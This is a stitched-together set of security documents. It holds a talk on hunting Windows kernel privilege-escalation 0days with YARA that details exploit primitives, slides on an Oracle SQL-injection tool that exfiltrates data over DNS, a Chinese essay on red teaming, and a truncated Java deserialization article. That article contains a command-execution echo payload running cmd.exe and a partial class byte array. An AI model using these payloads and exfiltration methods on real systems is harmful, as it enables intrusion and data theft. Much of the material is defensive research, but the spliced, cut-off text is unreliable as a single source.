Mode” to achieve arbitrary address read and write has become more and more popular since 2018. We also found that the method of using “HMValidateHandle” to leak kernel information is popular in the past five years. Public analysis blogs & exploits: The public blogs and exploits contain the research results of the community. Absorbing these existing knowledges is just like standing on the shoulders of giants, which is very helpful for us. The original sample (if have): We also pay great attention to collecting the original samples of each historical Windows LPE 0day. The files, hashes, and exploits of these original samples are the first- hand information, if we can detect them, we can also catch similar samples in the future. Why should we learn from now In addition to learning from history, we should also learn from the latest vulnerability and exploit techniques. The reasons are as follows: 1. A new disclosed vulnerability may have variants (such as CVE-2021-1732 and CVE- 2022-21882) 2. A new targeted module will be fuzzed and audited by community (such as clfs.sys) 3. An attacker may have some similar vulnerabilities in use or wait to use (For example, Kaspersky discovered CVE-2021-28310 based on CVE-2021-1732) 4. A new exploit technique tends to be used by attackers soon (such as Pipe Attribute technique in “Scoop the Windows 10 pool!”and WNF technique in itw CVE-2021- 31956 sample) Next, I will describe how we compare different detection methods and choose one from them. One road leads to Rome Choose the right tool As far as we know, there are three optional methods to catch an itw Windows LPE: 1. Antivirus (or something like it) 2. Sandbox (or something like it) 3. YARA (or something like it) Antivirus is the most powerful tool. It was deployed in large-scale real-world 5 environments. It can also detect threats in real time and have chance to extract encrypted privilege escalation component. Kaspersky have caught some itw LPE 0days with their antivirus product in the past few years. However, not every vendor’s antivirus can be as good as Kaspersky. Also, antivirus is likely to be bypassed or detected. These increase the difficulty of developing an antivirus-based hunting method. Sandbox is another tool to hunt itw 0day. Unlike antivirus, the sandbox environment is highly controllable and can be freely configured. In addition, the sandbox's behavior- based detection makes it accuracy. I had some successful experience on itw Office 0day hunting with the help of sandbox. Interested readers can refer to my previous speech on Bluehat Shanghai 2019. However, I think sandbox is somehow not suitable for hunting Windows LPE 0days. Unlike Office, many LPE exploits have OS version check to avoid unexpected BSOD, which makes them more hidden to sandbox. You may think that we can solve this problem by making a few more environments, but the number of new PE samples is huge, each sample is delivered to a new environment means a huge resource overhead. Not every vendor has enough money to afford this. In addition, sandbox-based detection methods have other disadvantages for Windows LPE samples: a) Some samples require parameters (for example, a Pid), but the sandbox cannot provide valid parameters by default b) Some samples only lead to BSOD without subsequent behavior, which is difficult to detect c) There is a cycle between sandbox development and deployment, which will lead to missing the best detection cycle for some latest exploits YARA is another method to hunt itw Windows LPE 0day. It has a very good effect on detecting samples which have certain signatures. It almost has no technical barriers, no fear of various checks, and it is flexible in development and deployment. When a new exploit technique appears, we can quickly convert it to rules and feed it into the detection system. Finally, it’s lower cost than antivirus and sandbox. But it also has shortcomings, such as it can easily lead to false positives and false negatives. Therefore, if we use YARA to hunt itw LPE 0day, we need to be very familiar with historical cases, and we have done this before. We considered the above hunting methods in combination with our own situation, and finally chose YARA as our main hunting method, which is more easy, more flexible and less expensive for Windows LPE 0day hunting. Another reason we choose YARA is that, after writing some YARA rules, we back-tested some historical Windows LPE samples. To our surprise, YARA performed better than 6 expected. Build the right rule Now we will describe how to transform learned experience into YARA rules. Basicly, we have three principles: 1. Write rules according to the signatures of each stage of exploitation 2. Write rules for latest exploit techniques 3. Write rules for the most likey vulnerability For the first idea, normally, a Windows kernel LPE exploit has the following stages: a) Vulnerability Triggering b) Heap Feng Shui c) Kernel Information Leak d) Arbitrary Address Read and Write e) Control Flow Hijacking f) Privilege Escalation Our task is to write rules based on the common features of each stage. Here are some examples: For kernel information leak, the idea is to match against common Windows kernel information leak techniques. Including but not limited to these:  NtQuerySystemInformation ➢ SystemBigPoolInformation ➢ SystemModuleInformation ➢ …  Win32k Shared Info User Handle Table  Descriptor Tables  HMValidateHandle  GdiSharedHandleTable For arbitrary address read/write primitives, the idea is to match against the following points:  SetWindowLong / SetWindowLongPtr  SetWindowText / InternalGetWindowText / NtUserDefSetText  GetMenuItemRect / SetMenuItemInfo / GetMenuBarInfo  NtUpdateWnfStateData / NtQueryWnfStateDate  GetBitmapBits / SetBitmapBits  GetPaletteEntries / SetPaletteEntries  CreatePipe / NtFsControlFile  Previous Mode + NtReadVirtualMemory / WriteVirtualMemory It should be noted that the above are just some possible ideas, not all ideas are suitable for YARA rules, and some ideas will lead to lots of false positives. 7 For the second idea, here I give two examples: 1. In July 2020, Paul Fariello (@paulfariello) and Corentin Bayet (@OnlyTheDuck) of Synacktiv presented a new Windows kernel heap overflow exploit technique at the SSTIC2020 conference. After studying their paper, we realized that the method of arbitrary address read with the help of Pipe Attribute in PagedPool is universal and may be used in the future. So we spent some time writing some YARA rules for this technique. It later turned out that these rules caught some high-value samples. 2. On June 8, 2021, Kaspersky wrote a blog, which disclosed an itw Windows LPE 0day (CVE-2021-31956). As mentioned in the blog, the sample achieved arbitrary address read and write with the help of Windows Notification Facility (WNF). In July and August 2021, Alex Plaskett(@alexjplaskett) of NCC Group published two blogs detailing the exploit techniques of CVE-2021-31956 and explaining the method of using WNF to construct arbitrary address read and write primitives. At the same time, YanZiShuang(@YanZiShuang) also wrote a blog discussing the method of exploiting vulnerabilities with the help of WNF. After studying these blogs, we realized that the method is universal. We again spent some time writing some YARA rules for this technique. As expected, we did catch some high-value samples. For the third idea, I also give an example here. On April 13, 2021, Kaspersky wrote a blog and disclosed CVE-2021-28310, which is an itw 0day in Desktop Windows Manager. Less than a month later, ZDI published another blog, disclosing another vulnerability(CVE-2021-26900), which is also a vulnerability in Desktop Windows Manager. This made us realize that this type of vulnerability may appear again in the future, so we wrote several rules for Desktop Windows Manager vulnerabilities in hours. A few weeks later, we caught CVE-2021-33739. Build the right rule is the first step. In order to catch an itw Windows LPE 0day, we need to build a whole system. Build a workable system Think about these questions: 1. When a sample is matched by a rule, how to notify us in time? 2. When we get a sample, how to quickly reproduce and classify it? 3. What skills should we master to debug different Windows LPE samples? For the first question, if our YARA rules running on VirusTotal, we can use the notification mechanism on VirusTotal Hunting page, we can configure the “Notify by email“ item. When a new sample is matched, our email will receive a notification at once. For rules running on our own products, we built a similar notification interface like VT. To answer the second question, we have counted the targetd OS version for each historical sample by studying historical cases, these information can be used here. In addition, considering that what we hunt may be a Nday, 1day or 0day, we need to 8 make all three types of environments, and we need to update these environments over time. In order to minimize the reproduction time, we have made multiple environments of Windows 7, Windows 10, Windows 11, and covered both x86 and x64. The third question depends on our experience on debugging different samples. For example, for those who have analyzed the Windows kernel heap overflow vulnerability, Windows kernel debugging and Driver Verifier are two basic skills. Besides, for those who have analyzed dwmcore vulnerability, it is necessary to use Windows remote debugging (because directly attaching the dwm process will cause system UI to become unresponsive). The more experience we have, the better we'll answer this question. Test and improve the system No method is perfect, to make our system more accurate, we have made the following tests and improvements: 1. Use the collected historical Windows LPE 0day samples to test the rules, eliminate false positives and false negatives, and improve the accuracy of the rules 2. Test the rules with the collected public pocs/exploits in the same way as above 3. For some cases where the public pocs/exploits cannot be collected, try to write the poc/exploit and test it 4. Apply the rules to a large number of samples for stress testing to eliminate the observed false positives and false negatives 5. Continue to convert latest exploit techniques into rules, write and test the rules and eliminate false positives and false negatives One year after the system was deployed, we had caguht lots of Windows LPE vulnerabilities. In next part, we will share three cases which hunt by our system: 1. CVE-2021-1732: an itw LPE 0day in Windows win32k subsystem 2. CVE-2021-33739: an itw LPE 0day in Windows Desktop Window Manager 3. Unknown CVE: an itw LPE 1day in Windows Common Log File System Results The Story of CVE-2021-1732 In December 10, 2020, we caught the first itw Windows kernel LPE 0day. Microsoft assigned CVE-2021-1732 to this vulnerability. The itw sample was from our private dataset, we noticed it because it used HMValidateHandle to leak kernel information, which is a strong signature of Windows kernel LPE exploit. Further analysis showed the sample exploited a type confusion 0day in win32k module. It is worth mentioning that the itw sample was used as an independent component. 9 When using the sample, you need to provide a Pid as a parameter, the Pid indicates the process which needs to be elevated. The targeted process will be terminated first, then restarted with system privilege. If you run the sample directly, it will also escalate itself to the system privilege, but will exit without any visible behavior. Here are some highlights of this itw sample: 1. It targeted the latest version of Windows 10 1909 64-bits operating system at that time (The sample was compiled in May 2020) 2. It uses GetMenuBarInfo to built arbitrary address read primitive, which is novel 3. Before exploit, the itw sample detected specific antivirus and performed system version check The rest of the details about this 0day can refer to our blog. The Story of CVE-2021-33739 In May 22, 2021, we caught the second itw Windows LPE 0day. Microsoft assigned CVE- 2021-33739 to this vulnerability. As I mentioned in the "Build the right rule" part, we will regularly predict the most likely vulnerability and write rules. Around May 2020, we wrote some rules for dwm vulnerability, after catching some dwm ndays, we caught an unfamiliar dwm sample on May 22, 2021. Further analysis showed there were an 1day exploit and another 0day in this sample. When we first met the sample, we didn't know it was compiled based a publish exploit code. As usual, we reproduced the sample in a full-patched environment. The reproduced result clearly showed that there is a 0day in the sample, which is an UAF in dwmcore. Then we tracked the relative source code on GitHub, which is an exploit of CVE-2021- 26868. The itw sample just replaced the shellcode part. At that time, we are a little confused: How can an 1day sample contains a 0day? After careful confirmation, we concluded that the author accidentally introduced a new bug when writing the exploit for CVE-2021-26868. If so, this 0day can not be classified to “itw 0day”. This is what we sent to MSRC before the bug was fixed: 10 This is the exploit status finally published by MSRC: So It's really an interesting case. Let me talk more about CVE-2021-33739. This vulnerability is caused by unbalanced reference count on CinteractionTrackerBindingManager Object in dwmcore. In order to trigger the vulnerability, we only need to create a CInteractionTrackerBindingManagerMarshaler resource and a CinteractionTrackerMarshaler resource, and bind the same CinteractionTrackerMarshaler resource twice to CinteractionTrackerBindingManagerMarshaler resource, and do not release these resource manully. DWORD dwDataSize = 12; DWORD* szBuff = (DWORD*)malloc(4 * 3); szBuff[0] = 0x02; // resource1_id is DirectComposition::CInteractionTrackerMarshaler szBuff[1] = 0x02; // resource2_id is DirectComposition::CInteractionTrackerMarshaler szBuff[2] = 0xffff; // new_entry_id Under normal condition (when resource1_id is different from resource2_id), the CinteractionTrackerBindingManager object will call ProcessSetTrackerBindingMode twice to add reference count by 2. Then the code will call RemoveTrackerBindings twice to sub reference count, and release the CinteractionTrackerBindingManager object normally when reference count is reduced to 0. // reference count starts from 0 CResourceFactory::Create +1 .............................................. ref_count = 1 CResourceTable::CreateEmptyResource +1 ................................... ref_count = 2 CComposition::Channel_CreateResource -1 .................................. ref_count = 1 CInteractionTrackerBindingManager::ProcessSetTrackerBindingMode +1 ....... ref_count = 2 CInteractionTrackerBindingManager::ProcessSetTrackerBindingMode +1 ....... ref_count = 3 CResourceTable::DeleteHandle -1 .......................................... ref_count = 2 CInteractionTrackerBindingManager::RemoveTrackerBindings -1 .............. ref_count = 1 CInteractionTrackerBindingManager::RemoveTrackerBindings -1 .............. ref_count = 0 // release object when reference count is reduced to 0 In a vulnerability scenario, the reference count of CinteractionTrackerBindingManager object will change different from normal condition, it will call ProcessSetTrackerBindingMode only once to add reference count by 1. But the code will still call RemoveTrackerBindings twice to sub reference count, in the first RemoveTrackerBindings call, the reference count of CinteractionTrackerBindingManager object will be reduced to 0, and the CinteractionTrackerBindingManager object will be 11 freed in InternalRelease. In the second RemoveTrackerBindings call, when the code tries to get some data from the freed CinteractionTrackerBindingManager object, it will cause UAF. // reference count starts from 0 CResourceFactory::Create +1 .............................................. ref_count = 1 CResourceTable::CreateEmptyResource +1 ................................... ref_count = 2 CComposition::Channel_CreateResource -1 .................................. ref_count = 1 CInteractionTrackerBindingManager::ProcessSetTrackerBindingMode +1 ....... ref_count = 2 CInteractionTrackerBindingManager::ProcessSetTrackerBindingMode +1 CResourceTable::DeleteHandle -1 .......................................... ref_count = 1 CInteractionTrackerBindingManager::RemoveTrackerBindings -1 .............. ref_count = 0 // release object when reference count is reduced to 0 CInteractionTrackerBindingManager::RemoveTrackerBindings // UAF in this call ! The Story of a “Patched” 1day In October 16, 2021, we caught a new itw Windows clfs 1day. The sample was from VirusTotal. As I mentioned in the "Build the right rule" part, we will regularly write rules for latest exploit techniques. On October 16, 2021, the rule we wrote for Pipe Attribute hit a sample. Further testing revealed that the sample exploited a vulnerability which affected all supported Windows versions before September 2021. Due to lack of information, we are unable to determine the CVE number of this vulnerability, it may be one of them or none of them:  CVE-2021-36963  CVE-2021-36955  CVE-2021-38633 The root cause of this 1day is the clfs module lacks some checks on the Client Context Offset. An attacker can take advantage of this to provide an invalid Client Context Offset. The itw sample leveraged this to make the first Client Context Offset(0x2B5) point to the second Container Context Offset. The picture is from “DeathNote of Microsoft Windows Kernel”, KeenLab, 2016 It then use an 1-bit flip in FlushMetadata to change the second Container Context Offset from 0x13A0 to 0x1BA0, and makes the Container Context Offset point to a fake ClfsContainer object. 12 1: kd> .formats 13A0 Evaluate expression: Hex: 00000000`000013a0 Binary: 00000000 00000000 00000000 00000000 00000000 00000000 00010011 10100000 1: kd> ? 13 | 8 Evaluate expression: 27 = 00000000`0000001b 1: kd> .formats 1BA0 Evaluate expression: Hex: 00000000`00001ba0 Binary: 00000000 00000000 00000000 00000000 00000000 00000000 00011011 10100000 With the help of the fake ClfsContainer, the exploit hijacked two virtual methods: CClfsContainer::Release and CClfsContainer::Remove, and built an arbitrary address write primitive based on that. The normal virtual table of a ClfsContainer object: 1: kd> dps fffff804`2e9354b8 fffff804`2e9354b8 fffff804`2e960c10 CLFS!CClfsContainer::AddRef fffff804`2e9354c0 fffff804`2e94c060 CLFS!CClfsContainer::Release fffff804`2e9354c8 fffff804`2e92b570 CLFS!CClfsContainer::GetSListEntry fffff804`2e9354d0 fffff804`2e9489e0 CLFS!CClfsContainer::Remove The fake virtual table of the fake ClfsContainer object: 0: kd> dps 0000003a`b777f1e8 0000003a`b777f1e8 00000000`00000000 0000003a`b777f1f0 fffff804`2f0cc390 nt!HalpDmaPowerCriticalTransitionCallback 0000003a`b777f1f8 00000000`00000000 0000003a`b777f200 fffff804`2ef95f70 nt!XmXchgOp Apart from this, the itw sample built an arbitrary address read primitive using the “Pipe Attribute” method described in the “Scoop the Windows 10 pool!”. In order to get the address of a Pipe Attribute, the exploit using another public method, it queried SystemBigPoolInformation to leaking the address of a Pipe Attribute object. With the kernel arbitrary address read and write primitives, the exploit successfully swapped the token of current process with system token, and spawned a shell with system privilege. Let's take a look at how Microsoft fixed this vulnerability. They only checked the value of Client Context Offset to make sure it couldn't be less than 0x1368! 13 What if we construct a Client Context Offset that is greater than 0x1368, and make the Client Context Offset point directly to a CclfsContainer object? We reported this variant to MSRC at December 2021, Microsoft fixed this case in April 2022 and assigned CVE-2022-24481 to it. Suggestions and insights Some detection suggestions on Windows LPE vulnerabilities:  Choose the most suitable method within your capability  Carefully study historical cases is always a good thing  Keep an eye out for new variants of a new itw vulnerabillity Some insights into the future trends of itw Windows LPE 0day:  More vulnerabilities in clfs may appear in the future  “Pipe Attribute” method will be using again in the future  ITW exploits which use the following techniques may appear in the future: ➢ Arbitrary address read/write with the help of WNF, POC2021 ➢ Arbitrary address read/write with the help of ALPC, Blackhat Asia 2022 ➢ Arbitrary address read/write with the help of I/O Ring, TyphoonCon 2022 Reference 1. https://github.com/synacktiv/Windows-kernel-SegmentHeap-Aligned-Chunk-Confusion 2. https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/ 3. https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows- kernel-ntfs-with-wnf-part-1/ 4. https://research.nccgroup.com/2021/08/17/cve-2021-31956-exploiting-the-windows- 14 kernel-ntfs-with-wnf-part-2/ 5. https://vul.360.net/archives/83 6. https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021- 28310-used-in-the-wild/101898/ 7. https://www.zerodayinitiative.com/blog/2021/5/3/cve-2021-26900-privilege-escalation- via-a-use-after-free-vulnerability-in-win32k 8. https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day- exploit-is-used-by-bitter-apt-in-targeted-attack/ 9. https://github.com/KangD1W2/CVE-2021-26868 10. https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Xu-The-Next-Generation-of- Windows-Exploitation-Attacking-the-Common-Log-File-System.pdf 11. https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit- primitive-on-windows-11/ 12. https://github.com/oct0xor/presentations/blob/master/2019-02- Overview%20of%20the%20latest%20Windows%20OS%20kernel%20exploits%20found %20in%20the%20wild.pdf 13. https://research.checkpoint.com/2020/graphology-of-an-exploit-volodya/ 14. https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/
pdf
DNS Data Exfiltration Using SQL Injection Bob Ricks G2, Inc. SQL Injection • We assume knowledge of how it works • Basic types of data exfiltration • Verbose • Displayed on page • Error based • Blind • Timing • HTTP Request • Change in page • DNS Exfiltration Related Work on DNS Exfiltration • http://pentestmonkey.net/blog/m ssql-dns/ • David Litchfield: The Oracle Hacker's Handbook: Hacking and Defending Oracle • Squeeza (http://www.sensepost.com/rese arch/squeeza/dc-15- Attacking Oracle • Because it’s there, and out there • Most of the DNS Exfiltration tools attack MS-SQL Server • Until Oracle 11g, access to UTL_INADDR defaulted to on and unprotected. Access to UTL_HTTP defaults to on, but Oracle recommends turning it off unless needed. Why we are here • DNS is Usually available • HTTP connections should be blocked • There is usually a DNS path available • Even if the database has no outbound comms • DNS server for DMZ will probably forward requests • Speed • Timing/change in page extract ~1 bit per injection • Completeness • Non-standard table and column names • Data types What we built • Tool to exfiltrate arbitrary data from Oracle • Automatically generates injection strings • Receives and processes DNS queries • Asks for additional information based on responses from the database Our Design • Submit a number of queries in each round • We know from the position in the DNS request which subquery each field matches • Can configure how many subqueries and maximum length of each return value • Random characters plus query number • Use a short domain name, xg2.us • e.g. 0414243.DATABASE.sal0.xg2.us What we learned • DNS Restrictions • Total size 248 characters, including overhead • Require use of entire domain, own domain name • Each field needs to be 1-63 characters • Each subquery must return 1 column and 1 row How we process data types • RAW • Uses approximately twice as many characters • Nothing has to be changed, all chars valid • Character strings • Good if all characters and numbers • Need conversion if there are spaces • Marker to determine if truncated • Numbers Tool used on HR Schema • Standard HR Schema • Time 5 min, ALL data Displaying Schema User: HR Attributes: authentication => DATABASE username => HR web_server_internal_ip => 127.0.0.1 language => AMERICAN_AMERICA.WE8MSWIN1252 database_ip => 192.168.10.93 lang => US web_host => hawker 8 Tables Table: "USERS" has 2 columns and approximately 1 rows Column: "USERNAME" (VARCHAR2) Column: "PASSWORD" (VARCHAR2) Table: "COUNTRIES" has 3 columns and approximately 25 rows Column: "COUNTRY_ID" (CHAR) Column: "COUNTRY_NAME" (VARCHAR2) Column: "REGION_ID" (NUMBER) Table: "EMPLOYEES" has 11 columns and approximately 107 rows Column: "EMPLOYEE_ID" (NUMBER) Column: "FIRST_NAME" (VARCHAR2) Column: "LAST_NAME" (VARCHAR2) Column: "EMAIL" (VARCHAR2) Column: "PHONE_NUMBER" (VARCHAR2) Column: "HIRE_DATE" (DATE) Column: "JOB_ID" (VARCHAR2) Column: "SALARY" (NUMBER) Column: "COMMISSION_PCT" (NUMBER) Column: "MANAGER_ID" (NUMBER) Column: "DEPARTMENT_ID" (NUMBER) … (4 More Tables) Absinthe on same DB • Graph shows • Initialization • Schema Name • Table names • 5 Took minutes • Our tool got basically all this in 6 seconds COUNTRIES • Absinthe is getting column names, data types, etc. • Took about 5 minutes • Much higher CPU utilization on Table: “USERS” "USERNAME","PASSWORD" "admin","password" "bob",";alfkjsdj023jr;oajsdc890asfdja023j“ Another example "USERNAME","PASSWORD" "Iamgettingtiredofcomingupwithfakeusernamesandpasswords","Thisisjustpainfu ltohavetokeepdoingthisajf0923ja09a0fj[a}{F03927" Wireshark What the tool does not do • Find SQL injection sites for you • Does not process “long” data type because you cannot use functions on it • Extensive use of the following functions • LENGTH() • SUBSTR() • UTL RAW cast to raw() Future Work • Retry queries/fields that failed • Create GUI front end • Would work well on a web server since we could have the web server control a domain • Specify target, parameters, cookies • Harden tool Prevention • Revoke priveleges on UTL_INADDR to Oracle user used by web pages • No outgoing DNS requests from DMZ • Fix SQL injection sites • There are no good fixes for bad programming • Always check ALL input from “users” • Strings, passwords, cookies • Double-check login information Summary • SQL Injection is bad news (in a good way) • DNS exfiltration can be very effective • DBAs should block DNS for web users • Web programmers should guard against SQL injection • Parameterized SQL Extra Slides • String strategy • Additional data tables • Stress nonstandard table names • File names are URL Encoded • Varying data types String Strategy • If possible and starts with non-’0’ pull as is • If necessary convert to ‘0’ plus raw (hex) • Ask for substring of allowable length • If return is maximum length • Ask for length Table: EMPTY "BLANK","EMPTY","NONE","NIL" Table: COMMENTS • "NAME","COMMENTS","KEY" • "null","comments",41 • "null",,25 • "null","70.17.254.77",27 • "null","127.0.0.1",28 • "null",,26 • "null","172.16.1.102",29 • "null",,30 • "null","127.0.0.1",12345678901234568790 • "null","70.17.254.75",36 • "null","209.35.68.205",37 • "null","64.236.91.24",39 • "null","why isn't the terminal working?",42 Table: “Valid Table Name” "Valid $ Column","Weird@@@" "39 digits",123456789012345678901234567890123456789 "really 39 digits",123456789012345678901234567890123456789 "40 digits",1234567890123456789012345678901234567890 "42 digits",12345678901234567890123456789012345678900 0 "42 digits round up",123456789012345678901234567890123456789100 "null", Table: “VALID ``$@!()%$`` TABLE NAME” "THAT`S ALL FOLKS","TRY ``THIS`` ON FOR SIZE ***","Let`s Try Precision/No Scale-- ","bang" "first line",99,1234567,0
pdf
做为攻击者那些年的一些想法 今年职业上有了一点小变动,从一个攻击者变成了一个防御者。于是想把作为攻击者的一些想法写下来 和大家交流。 某大型攻防演练暂告段落,攻击者们在弹冠相庆之后纷纷借着五一休假了。攻击方投入越来越大,攻击 模式的体系化、流程化;攻击工具工程化、实战化,以肉眼可见的速度发展着。作为一个曾经的攻击 者,内心是非常激动的。虽然已是局外人,但每每听到攻击方的故事,还是会热血沸腾。 我眼中的红队 曾经和朋友聊什么是红队?怎么做一只符合国情的红队?也阅读过很多国外红队报告,一度被各种高超 的红队技巧迷花了眼。都说红队是在模仿APT攻击,但在前公司有幸参加“金链熊”分析后。我意识到红队 如果是以模仿APT的路子走是不对的。红队和APT有着本质的区别,红队的出发点是让你的目标更加的安 全,而APT的出发点是获取情报。因此整个执行的流程细节都有着很大的差别。它们唯一相通的或者说 可以借鉴的是部分攻击技术。 红队永远不是主角,也不应该是主角。红队评估,红队是评估的助手;红蓝对抗,红队是蓝队的助手。 红队是在模仿敌人,模仿攻击者,因此红队在我方阵营中不应该也不会是主角,它只有在敌方阵营中才 是主角。 红队要有自己的体系。大家经常也会讨论某某红队主要是以什么方法打的,每个攻击环节他们是怎么串 起来的。每个优秀的红队都有各自的风格,这就是体系的雏形。我想以后的红队应该是一个百家争鸣的 状态。甲方的蓝军、乙方的红队、红队创业公司,各有各的体系,各有各的风格。 不要想着既要还要,红队不太可能既纵向做的深入,也横向覆盖的广。红队的投入是有限的而且是偏低 的,助手和主角,助手投入盖过主角是不可能的。因此红队必然是小而精的,不可能是大而全的。 红队不要做成“打手”了,虽然这是现状。不可否认当前红队的商业价值来源于“打手”属性。这几年以政策 为主的推动,使得“打手”属性的价值放大了很多倍。很多小伙伴也获益颇丰,甚至以此创业。看过古惑 仔电影的小伙伴应该明白,“打手”的结局都不太好。 但也不要否认当前的“打手”阶段,我想“打手”阶段应该算红队v0.5版本。当“打手”价值放大到一定程度的 时候,必将引起质变。我想接下来走向红队v1.0的路,应该是在红队评估的“评估”上做文章,应该是在红 蓝对抗的“蓝”上思考。这才是真正能够产生红队长远价值的地方。我想在“评估”上做的好,在“蓝”上想的 深,红队的价值也就越大。 我眼中的红队工具 红队工具不等于攻击工具。红队工具是红队人员执行攻击思路和方法的武器,就像士兵手中的枪,炮手 面前的炮,亦或者指挥官手中的传令器。但子弹和炮弹不是真的,我们要去掉弹头,去掉破坏力,这只 是演习。 往往在一次红队行动中,攻击可控、可溯源是一个很大的难题。我想它的解法在红队工具中,红队工具 的发展应该是从小作坊到工程化再到系统化。在系统化的时候,攻击的可控、可溯是可以做到的。日志 埋点、网关控流,还原每一步操作,梳理每一个请求。但是这样高昂的投入,目前看是不现实的,必然 需要更大的市场、政策和商业价值来驱动。 当前的现状是什么样呢?近几年所谓的红队工具还只能叫做攻击工具,因为它只是攻击技术的执行程序 而已,还必须给他增加紧箍咒,才能是红队工具。 我曾经做过一个问卷“CobaltStrike是不是一个远控木马”,我的本意是想知道大家觉得CobaltStrike是好 的还是坏的。结果有点意料之中也有点出乎意料,意料之中的是坏多于好,出乎意料的是认为好的占比 只比坏的低一点。 这是一个共识问题,拿切菜的刀举例,它固有的锋利让他既能违法也能切菜,但是因为有“菜”这个字, 让菜刀也能在商店购买。我希望以后红队工具,因为有“红队”2个字,让它也可以被大家普遍使用。 曾经画过一个简图 安全社区很重要 很多和我一样的小伙伴,都是从社区学习成长,一路走出来的。社区一直在生死轮回中循环,每个阶段 有每个阶段的不同表现形式从最早的论坛到现在的漏洞平台、SRC,从线上的YY、QQ到线下hackclub。 我想最后必将走出一种各方共赢的方式。是谁会站出来呢?是360漏洞云,还是奇安信补天,亦或是阿 里先知,白帽汇? 我曾经也有设想,做一个有知识星球、群、博客、论坛、开源项目、公益资源、训练平台等等。哈哈已 是往事。其中公司之间的利益纠葛,法律界定都是需要考虑和寻解的。也多次被老板挑战“这能给公司带 来什么实质利益?” 举一个例子,曾经有个小伙伴在A-Team星球发了一个话题,然后被主管训了一顿,勒令删除,还被...... (此处略过一万字)最后愤然离职了。可能有小伙伴会说你和公司签了劳动合同,你的所有产出不管是 上班下班都是公司财产。我觉得这里面需要有一个界定和共识,涉及到公司项目以及成果的当然应该保 密,但是纯底层技术交流不应该被扼杀。不要因为你是A公司的员工在B公司技术论坛上学习的时候顺便 回答一个技术问题,就被扣上一个“资敌”的帽子。 往事已矣......
pdf
Java安全之反序列化回显研究 0x00 前言 续上文反序列化回显与内存马,继续来看看反序列化回显的方式。上篇文中其实是利用中间件中存储的 Request 和 Response 对象来进行回显。但并不止这么一种方式。 0x01 回显方式 1. 中间件回显 2. defineClass 3. Linux描述符回显 4. RMI绑定实例 5. URLClassLoader抛出异常 6. 写文件css、js 7. dnslog defineClass异常回显 异常类: package com.nice0e3; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.nio.charset.Charset; public class echo {    public echo(String cmd) throws Exception {        InputStream stream = (new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd})).start().getInputStream();        InputStreamReader streamReader = new InputStreamReader(stream, Charset.forName("gbk"));        BufferedReader bufferedReader = new BufferedReader(streamReader);        StringBuffer buffer = new StringBuffer();        String line = null;        while ((line = bufferedReader.readLine()) != null) {            buffer.append(line).append("\n");       }        throw new Exception(buffer.toString());   }   } public class demo extends ClassLoader{    private static String Classname = "com.nice0e3.echo";    private static byte[] ClassBytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, 88, 10, 0, 24, 0, 46, 7, 0, 47, 7, 0, 48, 8, 0, 49, 8, 0, 50, 10, 0, 2, 0, 51, 10, 0, 2, 0, 52, 10, 0, 53, 0, 54, 7, 0, 55, 8, 0, 56, 10, 0, 57, 0, 58, 10, 0, 9, 0, 59, 7, 0, 60, 10, 0, 13, 0, 61, 7, 0, 62, 10, 0, 15, 0, 46, 10, 0, 13, 0, 63, 10, 0, 15, 0, 64, 8, 0, 65, 7, 0, 66, 10, 0, 15, 0, 67, 10, 0, 20, 0, 68, 7, 0, 69, 7, 0, 70, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 18, 76, 99, 111, 109, 47, 110, 105, 99, 101, 48, 101, 51, 47, 101, 99, 104, 111, 59, 1, 0, 3, 99, 109, 100, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 115, 116, 114, 101, 97, 109, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 12, 115, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 1, 0, 27, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 59, 1, 0, 14, 98, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 1, 0, 24, 76, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 59, 1, 0, 6, 98, 117, 102, 102, 101, 114, 1, 0, 24, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 4, 108, 105, 110, 101, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 101, 99, 104, 111, 46, 106, 97, 118, 97, 12, 0, 25, 0, 71, 1, 0, 24, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 12, 0, 25, 0, 72, 12, 0, 73, 0, 74, 7, 0, 75, 12, 0, 76, 0, 77, 1, 0, 25, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 1, 